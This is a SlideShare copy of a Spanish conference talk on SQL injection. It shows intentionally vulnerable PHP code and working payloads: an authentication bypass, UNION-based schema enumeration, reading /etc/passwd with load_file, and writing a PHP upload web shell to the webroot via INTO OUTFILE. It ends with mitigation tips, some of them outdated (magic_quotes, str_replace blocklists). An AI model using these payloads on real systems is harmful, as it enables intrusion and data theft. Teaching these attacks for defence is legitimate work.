SlideShare una empresa de Scribd logo
1 de 26
Descargar para leer sin conexión
Seguridad WEB:

SQL INJECTION




     Speaker: PUA. Juan Francisco Bosco
    Contact:boscofrancisco@hotmail.com
      Blog: http://magnobalt.blogspot.com
Historia de SQL
• 1970 Donald Chamberlin en los laboratorios de investigación de IBM. Este
  lenguaje se llamaba SEQUEL (Structured English Query Language).


• 1977 fue rescrito y se denomino SEQUEL/2, y finalmente por motivos legales,
  termina convirtiéndose en SQL.


• 1986, el ANSI adoptó SQL como estándar para los lenguajes relacionales


• 1987 se transfomó en estándar ISO


• Antes de 1990: Esquema Centralizados


• Actualidad: Internet
¿SQL INJECTION?
1# TOP TEN




• Vulnerabilidad: Se radica en la capa de aplicacion.

• Error: Mal filtrado en las variables de entradas a la DB.

• Alcanze: Cualquiera puede inyectar codigo SQL que será
  interpretado por el DBMS, pudiendo comprometer al
  HOST.
ESQUEMA
Ataques a la Seguridad



Integridad: Borrado o corrupcion de dato
       • INSERT, DELETE, DROP.

Disponibilidad: Denegacion de Servio
      • Consultas pesadas, exploit.

Confidencialidad: Obtención de información sensibles.
      • Bypass de autenticación
      • Inyección con UNION
      • Basadas en errores
      • Blind SQL Injection
0x01- Bypass de Autenticacion (POST)

Codigo Vulnerable:

1.$usuario=$_POST['nombre'];
2.$password=$_POST['pass'];
3.$sql="SELECT * FROM usuario WHERE
usuario='$usuario' AND password='$password'";
4.$login=mysql_query($sql,$conexion);


Caso Normal:
SELECT * FROM usuario WHERE usuario='admin' AND
password='admin123'


Caso con inyección de SQL: 'or 1=1--
SELECT * FROM usuario WHERE usuario=''or 1=1-- ' AND
password='loquesea'
DEMO 1
0x02 – Ataque con UNION (GET)


Codigo Vulnerable:
1.if(isset($_GET['id']) && !empty($_GET['id'])){
2.$id=$_GET['id'];
3.$sql="SELECT * FROM conceptos WHERE ID =$id";
4.$query=mysql_query($sql)

1) Verificando la falla:
Podemos provocar distintos comportamientos en una web lo
cual nos dará indicios de que la misma es vulnerable.
DEMO 1




DEMO 2
2) Contando campos:


Clausula UNION: Se usa para combinar el resultado de un
número de comandos SELECT en un conjunto de resultados.
Para usarlo nesesitamos la cantidad de campos que tiene el
primer SELECT.

1- Con ORDER BY: La forma es ir ordenando la salida de la
consulta por el número de posición de cada columna, una por
una, hasta que sobrepase el limite de campos.

2- Con UNION: Consiste en poder ir colocando columnas
hasta que la sentencia UNION se ejecute correctamente.

                                        DEMOSTRACIÓN
3)   Recoleccion de datos

MySQL contiene variables y funciones que otorgan
informacion al usuario, donde las mismas pueden ser usadas
para obtener datos importantes para el atacante.

                                   • version()
                                   • user()
                                   • database()
                                   • @@datadir




SELECT * FROM NOTICIAS WHERE id= -1 UNION
SELEC 1,version(),3
4)Information Schema

El soporte para INFORMATION_SCHEMA está disponible
en MySQL 5.0.2 y posterior. Proporciona acceso a los
metadatos de la base de datos.
Metadatos son datos acerca de los datos, tales como el nombre
de la base de datos o tabla, el tipo de datos de una columna, o
permisos de acceso.
4.1)Obtener tablas mediante SCHEMA

Podemos obtener la informacion de todas las tablas en la base
de dato gracias a la vista, information_schema.tables.




SELECT * FROM NOTICIAS WHERE id= -1 UNION
SELEC 1,table_name,3 FROM
INFORMATION_SCHEMA.TABLES
4.2) Obtener columnas mediante SCHEMA.

De la misma manera que obtuvimos las tablas podemos
conocer los nombres de las columnas de una respectiva tabla
consultando la vista information.schema.columns




SELECT * FROM NOTICIAS WHERE id= -1
UNION SELECT 1,column_name,3 FROM
INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME = 'NAMETABLA'
0x03 Inyecciones SQL que Comprometen
                          al Host

Si el usuario que esta ejecutando las consultas SQL tiene el
permiso de FILE, podemos dar uso de las clausulas
LOAD_FILE e INTO OUTFILE.

 1) LOAD_FILE




Nos permite leer un archivo, y obtenerlo como una cadena.

SELECT * FROM NOTICIAS WHERE id= -1
UNION SELECT 1,load_file('/etc/passwd'),3
Probocando lo que se conoce como PATH DISCLOSURE,
obtenemos el DocumentRoot de la web, para poder leer los
archivos PHP.


Warning: mysql_fetch_array() expects parameter 1 to be
resource, boolean given in
/home/magno/www/joinea/index.php on line 49


Fabricamos la inyección:

SELECT * FROM NOTICIAS WHERE id= -1
UNION SELECT
1,load_file('/home/magno/www/joinea/index.php'),3
2) INTO OUTFILE




Esta clausula permite volcar el contenido de una tabla, a un
archivo.
Para poder usarla con exito en una inyección nesesitaremos,
permiso de escritura en algun directorio del DocumentRoot, y
las magic_quotes= off.

El codigo subido debe ser pasado a Hexadecimal:

0x484f4c41204a4f494e45412032303130: HOLA JOIENA
2010
Fabricamos la inyección:

SELECT * FROM NOTICIAS WHERE id= -1 UNION
SELECT null,0x484f4c41204a4f494e45412032303130,null
INTO OUTFILE
'/home/magno/www/joinea/imagenes/joinea.txt'


Subiendo un Upload en PHP:

<html><form enctype="multipart/form-data" action=""
method="POST"><input type="hidden"
name="MAX_FILE_SIZE" value="10000000" />Choose a file to
upload: <input name="uploadedfile" type="file" /><br /><input
type="submit" value="Upload File" /></form></html><?php
$target_path = ""; $target_path = $target_path . basename(
$_FILES['uploadedfile']['name']); if(isset($_FILES['uploadedfile']
['name'])){if(move_uploaded_file($_FILES['uploadedfile']
['tmp_name'], $target_path)) {echo "El Archivo ".
basename( $_FILES['uploadedfile']['name']). "Ha sido Subido :)";}
else{echo "Hubo un error, intentar otra vez!!";}}?>
0x04 SQLi en CMS:
1#
2#
0x04 Las soluciones: Tips

1.   Addslashes()

 $usuario=addslashes($_POST['nombre']);



 $usuario='or 1=1 # output: ' or 1=1

 Similar: mysql_real_escape_string()

2. Magic_quotes: Habilitar en la configuracion de PHP
 (php.ini) al valor On. Esta caracteristica es despreciable a
 partir de PHP 5.3.0 y sera removido en la version 6.0.

3.   int()

 $id=(int)$_GET['id'];
4.   is_numeric()

 if (is_numeric($_GET['id']){
   echo “Es un entero”;
 }

5.   str_replace()

 $cadena = str_replace ("'", "", $cadena);
 $cadena = str_replace ("UNION", "", $cadena);
 $cadena = str_replace ("OR", "", $cadena);

6.   Prepared Statements:

 $mysqli = new mysqli('localhost', 'user', 'pass', 'db');
 $stmt= $mysqli ->prepare("SELECT usuario FROM
 usuarios WHERE usuario=?");
 $stmt->bind_param('s', $usuario);
 $stmt->execute();
7. Seguir el principio de mínimo privilegio en las
 conexiones con bases de datos.

8. El filtrado debé realizarse en el servidor en ultima
 instancia (no confiar en JavaScript, Flash etc).

9.   No dar información detallada sobre los errores
       ▪ “Contraseña incorrecta para el usuario usuario”.
       ▪ “Error al conectar a la base de datos midb“.
Muchas Gracias por su
      atención!



        EOF

Más contenido relacionado

La actualidad más candente

Sesion06a - Manipulacion de datos (Oracle)
Sesion06a - Manipulacion de datos (Oracle)Sesion06a - Manipulacion de datos (Oracle)
Sesion06a - Manipulacion de datos (Oracle)José Toro
 
Taller de MySQL (DDL)
Taller de MySQL (DDL)Taller de MySQL (DDL)
Taller de MySQL (DDL)mgpc
 
Ejemplos de php_mysql
Ejemplos de php_mysqlEjemplos de php_mysql
Ejemplos de php_mysqlI LG
 
Presentación de Regedit
Presentación de RegeditPresentación de Regedit
Presentación de Regeditfluky04
 
Sesión12 - Trigger (Oracle)
Sesión12 - Trigger (Oracle)Sesión12 - Trigger (Oracle)
Sesión12 - Trigger (Oracle)José Toro
 
Instrucciones basicas de mySQL
Instrucciones basicas de mySQLInstrucciones basicas de mySQL
Instrucciones basicas de mySQLchapagarciaea
 
Registro de windows
Registro de windowsRegistro de windows
Registro de windowsSPDUQUE
 
curso android tema 5
curso android tema 5curso android tema 5
curso android tema 5Frank Jorge
 
CONSULTA SQL ROMERO
CONSULTA SQL ROMEROCONSULTA SQL ROMERO
CONSULTA SQL ROMERONANCY ROMERO
 
Asegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL InjectionAsegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL InjectionChema Alonso
 
Taller oracle seguridad backup recovery 22092008
Taller oracle seguridad backup recovery 22092008Taller oracle seguridad backup recovery 22092008
Taller oracle seguridad backup recovery 22092008wilder sanchez
 
Trabajo de registro
Trabajo de registroTrabajo de registro
Trabajo de registronidiau
 

La actualidad más candente (19)

MANUAL
MANUALMANUAL
MANUAL
 
Sesion06a - Manipulacion de datos (Oracle)
Sesion06a - Manipulacion de datos (Oracle)Sesion06a - Manipulacion de datos (Oracle)
Sesion06a - Manipulacion de datos (Oracle)
 
Taller de MySQL (DDL)
Taller de MySQL (DDL)Taller de MySQL (DDL)
Taller de MySQL (DDL)
 
Ejemplos de php_mysql
Ejemplos de php_mysqlEjemplos de php_mysql
Ejemplos de php_mysql
 
Presentación de Regedit
Presentación de RegeditPresentación de Regedit
Presentación de Regedit
 
(In) seguridad web
(In) seguridad web(In) seguridad web
(In) seguridad web
 
Sesión12 - Trigger (Oracle)
Sesión12 - Trigger (Oracle)Sesión12 - Trigger (Oracle)
Sesión12 - Trigger (Oracle)
 
Instrucciones basicas de mySQL
Instrucciones basicas de mySQLInstrucciones basicas de mySQL
Instrucciones basicas de mySQL
 
Regedit (editor de registro)
Regedit (editor de registro)Regedit (editor de registro)
Regedit (editor de registro)
 
Registro de windows
Registro de windowsRegistro de windows
Registro de windows
 
Ejemplo Base de Datos SQLite (Android)
Ejemplo Base de Datos SQLite (Android)Ejemplo Base de Datos SQLite (Android)
Ejemplo Base de Datos SQLite (Android)
 
curso android tema 5
curso android tema 5curso android tema 5
curso android tema 5
 
Presentación1
Presentación1Presentación1
Presentación1
 
Statement
StatementStatement
Statement
 
CONSULTA SQL ROMERO
CONSULTA SQL ROMEROCONSULTA SQL ROMERO
CONSULTA SQL ROMERO
 
Sql plus oracle
Sql plus oracleSql plus oracle
Sql plus oracle
 
Asegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL InjectionAsegúr@IT 7: Serialized SQL Injection
Asegúr@IT 7: Serialized SQL Injection
 
Taller oracle seguridad backup recovery 22092008
Taller oracle seguridad backup recovery 22092008Taller oracle seguridad backup recovery 22092008
Taller oracle seguridad backup recovery 22092008
 
Trabajo de registro
Trabajo de registroTrabajo de registro
Trabajo de registro
 

Destacado

IMPULSTAGUNG "BARRIEREFREI - KARRIERE FREI!"
IMPULSTAGUNG "BARRIEREFREI - KARRIERE FREI!"IMPULSTAGUNG "BARRIEREFREI - KARRIERE FREI!"
IMPULSTAGUNG "BARRIEREFREI - KARRIERE FREI!"voegs
 
CHARLAS DIVULGATIVAS SOBRE TERAPIA OCUPACIONAL
CHARLAS DIVULGATIVAS SOBRE TERAPIA OCUPACIONALCHARLAS DIVULGATIVAS SOBRE TERAPIA OCUPACIONAL
CHARLAS DIVULGATIVAS SOBRE TERAPIA OCUPACIONALCristina Alonso
 
(How) Can Safe Sharing of EHRs Transform the Health System?
(How) Can Safe Sharing of EHRs Transform the Health System?(How) Can Safe Sharing of EHRs Transform the Health System?
(How) Can Safe Sharing of EHRs Transform the Health System?Health Informatics New Zealand
 
*Sida el riesgo es real*
*Sida el riesgo es real* *Sida el riesgo es real*
*Sida el riesgo es real* azurachancruz
 
Teachers' Forum Report Compiled by Lillian Nyacheng
Teachers' Forum Report Compiled by Lillian NyachengTeachers' Forum Report Compiled by Lillian Nyacheng
Teachers' Forum Report Compiled by Lillian NyachengLillian Nyacheng
 
Squarecap_General_Business
Squarecap_General_BusinessSquarecap_General_Business
Squarecap_General_BusinessNabeel Jawad
 
2011 Marketing Class Uo W
2011 Marketing Class Uo W2011 Marketing Class Uo W
2011 Marketing Class Uo Wparcevaux
 
Effective Sequence of events of a meeting Designed by Deanna Senica
Effective Sequence of events of a meeting Designed by Deanna SenicaEffective Sequence of events of a meeting Designed by Deanna Senica
Effective Sequence of events of a meeting Designed by Deanna SenicaDeanna Senica
 
Mikrobiologie - CF relevante Keime
Mikrobiologie - CF relevante KeimeMikrobiologie - CF relevante Keime
Mikrobiologie - CF relevante Keimeeenvs
 
Outsourcing-Ways to become a Freelancer
 Outsourcing-Ways to become a Freelancer Outsourcing-Ways to become a Freelancer
Outsourcing-Ways to become a FreelancerSultana Parvin
 

Destacado (20)

IMPULSTAGUNG "BARRIEREFREI - KARRIERE FREI!"
IMPULSTAGUNG "BARRIEREFREI - KARRIERE FREI!"IMPULSTAGUNG "BARRIEREFREI - KARRIERE FREI!"
IMPULSTAGUNG "BARRIEREFREI - KARRIERE FREI!"
 
CHARLAS DIVULGATIVAS SOBRE TERAPIA OCUPACIONAL
CHARLAS DIVULGATIVAS SOBRE TERAPIA OCUPACIONALCHARLAS DIVULGATIVAS SOBRE TERAPIA OCUPACIONAL
CHARLAS DIVULGATIVAS SOBRE TERAPIA OCUPACIONAL
 
Cv jose a_vidal
Cv jose a_vidalCv jose a_vidal
Cv jose a_vidal
 
NeXTseestern
NeXTseesternNeXTseestern
NeXTseestern
 
O Vaso Ch[1]..
O Vaso Ch[1]..O Vaso Ch[1]..
O Vaso Ch[1]..
 
WF230P-02B
WF230P-02BWF230P-02B
WF230P-02B
 
(How) Can Safe Sharing of EHRs Transform the Health System?
(How) Can Safe Sharing of EHRs Transform the Health System?(How) Can Safe Sharing of EHRs Transform the Health System?
(How) Can Safe Sharing of EHRs Transform the Health System?
 
*Sida el riesgo es real*
*Sida el riesgo es real* *Sida el riesgo es real*
*Sida el riesgo es real*
 
S06 ad4001 alumnos_ss
S06 ad4001 alumnos_ssS06 ad4001 alumnos_ss
S06 ad4001 alumnos_ss
 
Teachers' Forum Report Compiled by Lillian Nyacheng
Teachers' Forum Report Compiled by Lillian NyachengTeachers' Forum Report Compiled by Lillian Nyacheng
Teachers' Forum Report Compiled by Lillian Nyacheng
 
Squarecap_General_Business
Squarecap_General_BusinessSquarecap_General_Business
Squarecap_General_Business
 
Casa Solar
Casa SolarCasa Solar
Casa Solar
 
Mi biografía
Mi biografíaMi biografía
Mi biografía
 
2011 Marketing Class Uo W
2011 Marketing Class Uo W2011 Marketing Class Uo W
2011 Marketing Class Uo W
 
Effective Sequence of events of a meeting Designed by Deanna Senica
Effective Sequence of events of a meeting Designed by Deanna SenicaEffective Sequence of events of a meeting Designed by Deanna Senica
Effective Sequence of events of a meeting Designed by Deanna Senica
 
Mikrobiologie - CF relevante Keime
Mikrobiologie - CF relevante KeimeMikrobiologie - CF relevante Keime
Mikrobiologie - CF relevante Keime
 
Jeep 2014 Uconnect 5.0 Owners Manual
Jeep 2014 Uconnect 5.0 Owners Manual Jeep 2014 Uconnect 5.0 Owners Manual
Jeep 2014 Uconnect 5.0 Owners Manual
 
Caso muebles finos
Caso   muebles finosCaso   muebles finos
Caso muebles finos
 
Toeic3
Toeic3Toeic3
Toeic3
 
Outsourcing-Ways to become a Freelancer
 Outsourcing-Ways to become a Freelancer Outsourcing-Ways to become a Freelancer
Outsourcing-Ways to become a Freelancer
 

Similar a SQL Injection Joinea 2010

PHP Tema 7 - Seguridad
PHP Tema 7 - SeguridadPHP Tema 7 - Seguridad
PHP Tema 7 - SeguridadSpacetoshare
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sqljhom123
 
Curso php dia4
Curso php dia4Curso php dia4
Curso php dia4cognos_uie
 
Android DB por Cesar Cespedes
Android DB por Cesar CespedesAndroid DB por Cesar Cespedes
Android DB por Cesar CespedesLima GTUG
 
Postfix y Dovecot con usuarios virtuales mysql en Debian Wheezy
Postfix y Dovecot con usuarios virtuales mysql en Debian WheezyPostfix y Dovecot con usuarios virtuales mysql en Debian Wheezy
Postfix y Dovecot con usuarios virtuales mysql en Debian WheezyHenry Cristian Cuesta Vega
 
Vulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones webVulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones webRealTIC
 
Replicacion de base de datos
Replicacion de base de datosReplicacion de base de datos
Replicacion de base de datostickyandres
 
Charla OWASP
Charla OWASPCharla OWASP
Charla OWASPalexav8
 
Java con base de datos
Java con base de datosJava con base de datos
Java con base de datosALYTS
 
Sesión04 - Diccionario de datos (Oracle)
Sesión04 - Diccionario de datos (Oracle)Sesión04 - Diccionario de datos (Oracle)
Sesión04 - Diccionario de datos (Oracle)José Toro
 
Base de datos dinamicas
Base de datos dinamicasBase de datos dinamicas
Base de datos dinamicasel_rosales
 
Inyeccion sql
Inyeccion sqlInyeccion sql
Inyeccion sqlobispo28
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebEduardo Jalon
 
MySQL. Tutorial Básico
MySQL. Tutorial BásicoMySQL. Tutorial Básico
MySQL. Tutorial BásicoJosu Orbe
 
Replicacion con postgresql y slony
Replicacion con  postgresql y slonyReplicacion con  postgresql y slony
Replicacion con postgresql y slonyJohanna Mendez
 
Replicacion con postgresql y slony
Replicacion con  postgresql y slonyReplicacion con  postgresql y slony
Replicacion con postgresql y slonyJohanna Mendez
 

Similar a SQL Injection Joinea 2010 (20)

PHP Tema 7 - Seguridad
PHP Tema 7 - SeguridadPHP Tema 7 - Seguridad
PHP Tema 7 - Seguridad
 
Inyección_sql
Inyección_sqlInyección_sql
Inyección_sql
 
Curso php dia4
Curso php dia4Curso php dia4
Curso php dia4
 
Android DB por Cesar Cespedes
Android DB por Cesar CespedesAndroid DB por Cesar Cespedes
Android DB por Cesar Cespedes
 
Postfix y Dovecot con usuarios virtuales mysql en Debian Wheezy
Postfix y Dovecot con usuarios virtuales mysql en Debian WheezyPostfix y Dovecot con usuarios virtuales mysql en Debian Wheezy
Postfix y Dovecot con usuarios virtuales mysql en Debian Wheezy
 
Bases de datos con PHP y Mysqli
Bases de datos con PHP y MysqliBases de datos con PHP y Mysqli
Bases de datos con PHP y Mysqli
 
Vulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones webVulnerabilidades en aplicaciones web
Vulnerabilidades en aplicaciones web
 
Replicacion de base de datos
Replicacion de base de datosReplicacion de base de datos
Replicacion de base de datos
 
Charla OWASP
Charla OWASPCharla OWASP
Charla OWASP
 
Java con base de datos
Java con base de datosJava con base de datos
Java con base de datos
 
Sesión04 - Diccionario de datos (Oracle)
Sesión04 - Diccionario de datos (Oracle)Sesión04 - Diccionario de datos (Oracle)
Sesión04 - Diccionario de datos (Oracle)
 
Base de datos dinamicas
Base de datos dinamicasBase de datos dinamicas
Base de datos dinamicas
 
Inyeccion sql
Inyeccion sqlInyeccion sql
Inyeccion sql
 
U3-ACT02-TBD-ISC-MSG.pdf
U3-ACT02-TBD-ISC-MSG.pdfU3-ACT02-TBD-ISC-MSG.pdf
U3-ACT02-TBD-ISC-MSG.pdf
 
Tema4[php]
Tema4[php]Tema4[php]
Tema4[php]
 
Bases de datos con PHP y PDO
Bases de datos con PHP y PDOBases de datos con PHP y PDO
Bases de datos con PHP y PDO
 
Cómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación WebCómo realizar un test de intrusión a una aplicación Web
Cómo realizar un test de intrusión a una aplicación Web
 
MySQL. Tutorial Básico
MySQL. Tutorial BásicoMySQL. Tutorial Básico
MySQL. Tutorial Básico
 
Replicacion con postgresql y slony
Replicacion con  postgresql y slonyReplicacion con  postgresql y slony
Replicacion con postgresql y slony
 
Replicacion con postgresql y slony
Replicacion con  postgresql y slonyReplicacion con  postgresql y slony
Replicacion con postgresql y slony
 

SQL Injection Joinea 2010

  • 1. Seguridad WEB: SQL INJECTION Speaker: PUA. Juan Francisco Bosco Contact:boscofrancisco@hotmail.com Blog: http://magnobalt.blogspot.com
  • 2. Historia de SQL • 1970 Donald Chamberlin en los laboratorios de investigación de IBM. Este lenguaje se llamaba SEQUEL (Structured English Query Language). • 1977 fue rescrito y se denomino SEQUEL/2, y finalmente por motivos legales, termina convirtiéndose en SQL. • 1986, el ANSI adoptó SQL como estándar para los lenguajes relacionales • 1987 se transfomó en estándar ISO • Antes de 1990: Esquema Centralizados • Actualidad: Internet
  • 4. 1# TOP TEN • Vulnerabilidad: Se radica en la capa de aplicacion. • Error: Mal filtrado en las variables de entradas a la DB. • Alcanze: Cualquiera puede inyectar codigo SQL que será interpretado por el DBMS, pudiendo comprometer al HOST.
  • 6. Ataques a la Seguridad Integridad: Borrado o corrupcion de dato • INSERT, DELETE, DROP. Disponibilidad: Denegacion de Servio • Consultas pesadas, exploit. Confidencialidad: Obtención de información sensibles. • Bypass de autenticación • Inyección con UNION • Basadas en errores • Blind SQL Injection
  • 7. 0x01- Bypass de Autenticacion (POST) Codigo Vulnerable: 1.$usuario=$_POST['nombre']; 2.$password=$_POST['pass']; 3.$sql="SELECT * FROM usuario WHERE usuario='$usuario' AND password='$password'"; 4.$login=mysql_query($sql,$conexion); Caso Normal: SELECT * FROM usuario WHERE usuario='admin' AND password='admin123' Caso con inyección de SQL: 'or 1=1-- SELECT * FROM usuario WHERE usuario=''or 1=1-- ' AND password='loquesea'
  • 9. 0x02 – Ataque con UNION (GET) Codigo Vulnerable: 1.if(isset($_GET['id']) && !empty($_GET['id'])){ 2.$id=$_GET['id']; 3.$sql="SELECT * FROM conceptos WHERE ID =$id"; 4.$query=mysql_query($sql) 1) Verificando la falla: Podemos provocar distintos comportamientos en una web lo cual nos dará indicios de que la misma es vulnerable. DEMO 1 DEMO 2
  • 10. 2) Contando campos: Clausula UNION: Se usa para combinar el resultado de un número de comandos SELECT en un conjunto de resultados. Para usarlo nesesitamos la cantidad de campos que tiene el primer SELECT. 1- Con ORDER BY: La forma es ir ordenando la salida de la consulta por el número de posición de cada columna, una por una, hasta que sobrepase el limite de campos. 2- Con UNION: Consiste en poder ir colocando columnas hasta que la sentencia UNION se ejecute correctamente. DEMOSTRACIÓN
  • 11. 3) Recoleccion de datos MySQL contiene variables y funciones que otorgan informacion al usuario, donde las mismas pueden ser usadas para obtener datos importantes para el atacante. • version() • user() • database() • @@datadir SELECT * FROM NOTICIAS WHERE id= -1 UNION SELEC 1,version(),3
  • 12. 4)Information Schema El soporte para INFORMATION_SCHEMA está disponible en MySQL 5.0.2 y posterior. Proporciona acceso a los metadatos de la base de datos. Metadatos son datos acerca de los datos, tales como el nombre de la base de datos o tabla, el tipo de datos de una columna, o permisos de acceso.
  • 13. 4.1)Obtener tablas mediante SCHEMA Podemos obtener la informacion de todas las tablas en la base de dato gracias a la vista, information_schema.tables. SELECT * FROM NOTICIAS WHERE id= -1 UNION SELEC 1,table_name,3 FROM INFORMATION_SCHEMA.TABLES
  • 14. 4.2) Obtener columnas mediante SCHEMA. De la misma manera que obtuvimos las tablas podemos conocer los nombres de las columnas de una respectiva tabla consultando la vista information.schema.columns SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT 1,column_name,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'NAMETABLA'
  • 15. 0x03 Inyecciones SQL que Comprometen al Host Si el usuario que esta ejecutando las consultas SQL tiene el permiso de FILE, podemos dar uso de las clausulas LOAD_FILE e INTO OUTFILE. 1) LOAD_FILE Nos permite leer un archivo, y obtenerlo como una cadena. SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT 1,load_file('/etc/passwd'),3
  • 16. Probocando lo que se conoce como PATH DISCLOSURE, obtenemos el DocumentRoot de la web, para poder leer los archivos PHP. Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/magno/www/joinea/index.php on line 49 Fabricamos la inyección: SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT 1,load_file('/home/magno/www/joinea/index.php'),3
  • 17. 2) INTO OUTFILE Esta clausula permite volcar el contenido de una tabla, a un archivo. Para poder usarla con exito en una inyección nesesitaremos, permiso de escritura en algun directorio del DocumentRoot, y las magic_quotes= off. El codigo subido debe ser pasado a Hexadecimal: 0x484f4c41204a4f494e45412032303130: HOLA JOIENA 2010
  • 18. Fabricamos la inyección: SELECT * FROM NOTICIAS WHERE id= -1 UNION SELECT null,0x484f4c41204a4f494e45412032303130,null INTO OUTFILE '/home/magno/www/joinea/imagenes/joinea.txt' Subiendo un Upload en PHP: <html><form enctype="multipart/form-data" action="" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="10000000" />Choose a file to upload: <input name="uploadedfile" type="file" /><br /><input type="submit" value="Upload File" /></form></html><?php $target_path = ""; $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); if(isset($_FILES['uploadedfile'] ['name'])){if(move_uploaded_file($_FILES['uploadedfile'] ['tmp_name'], $target_path)) {echo "El Archivo ". basename( $_FILES['uploadedfile']['name']). "Ha sido Subido :)";} else{echo "Hubo un error, intentar otra vez!!";}}?>
  • 19. 0x04 SQLi en CMS: 1#
  • 20.
  • 21. 2#
  • 22.
  • 23. 0x04 Las soluciones: Tips 1. Addslashes() $usuario=addslashes($_POST['nombre']); $usuario='or 1=1 # output: ' or 1=1 Similar: mysql_real_escape_string() 2. Magic_quotes: Habilitar en la configuracion de PHP (php.ini) al valor On. Esta caracteristica es despreciable a partir de PHP 5.3.0 y sera removido en la version 6.0. 3. int() $id=(int)$_GET['id'];
  • 24. 4. is_numeric() if (is_numeric($_GET['id']){ echo “Es un entero”; } 5. str_replace() $cadena = str_replace ("'", "", $cadena); $cadena = str_replace ("UNION", "", $cadena); $cadena = str_replace ("OR", "", $cadena); 6. Prepared Statements: $mysqli = new mysqli('localhost', 'user', 'pass', 'db'); $stmt= $mysqli ->prepare("SELECT usuario FROM usuarios WHERE usuario=?"); $stmt->bind_param('s', $usuario); $stmt->execute();
  • 25. 7. Seguir el principio de mínimo privilegio en las conexiones con bases de datos. 8. El filtrado debé realizarse en el servidor en ultima instancia (no confiar en JavaScript, Flash etc). 9. No dar información detallada sobre los errores ▪ “Contraseña incorrecta para el usuario usuario”. ▪ “Error al conectar a la base de datos midb“.
  • 26. Muchas Gracias por su atención! EOF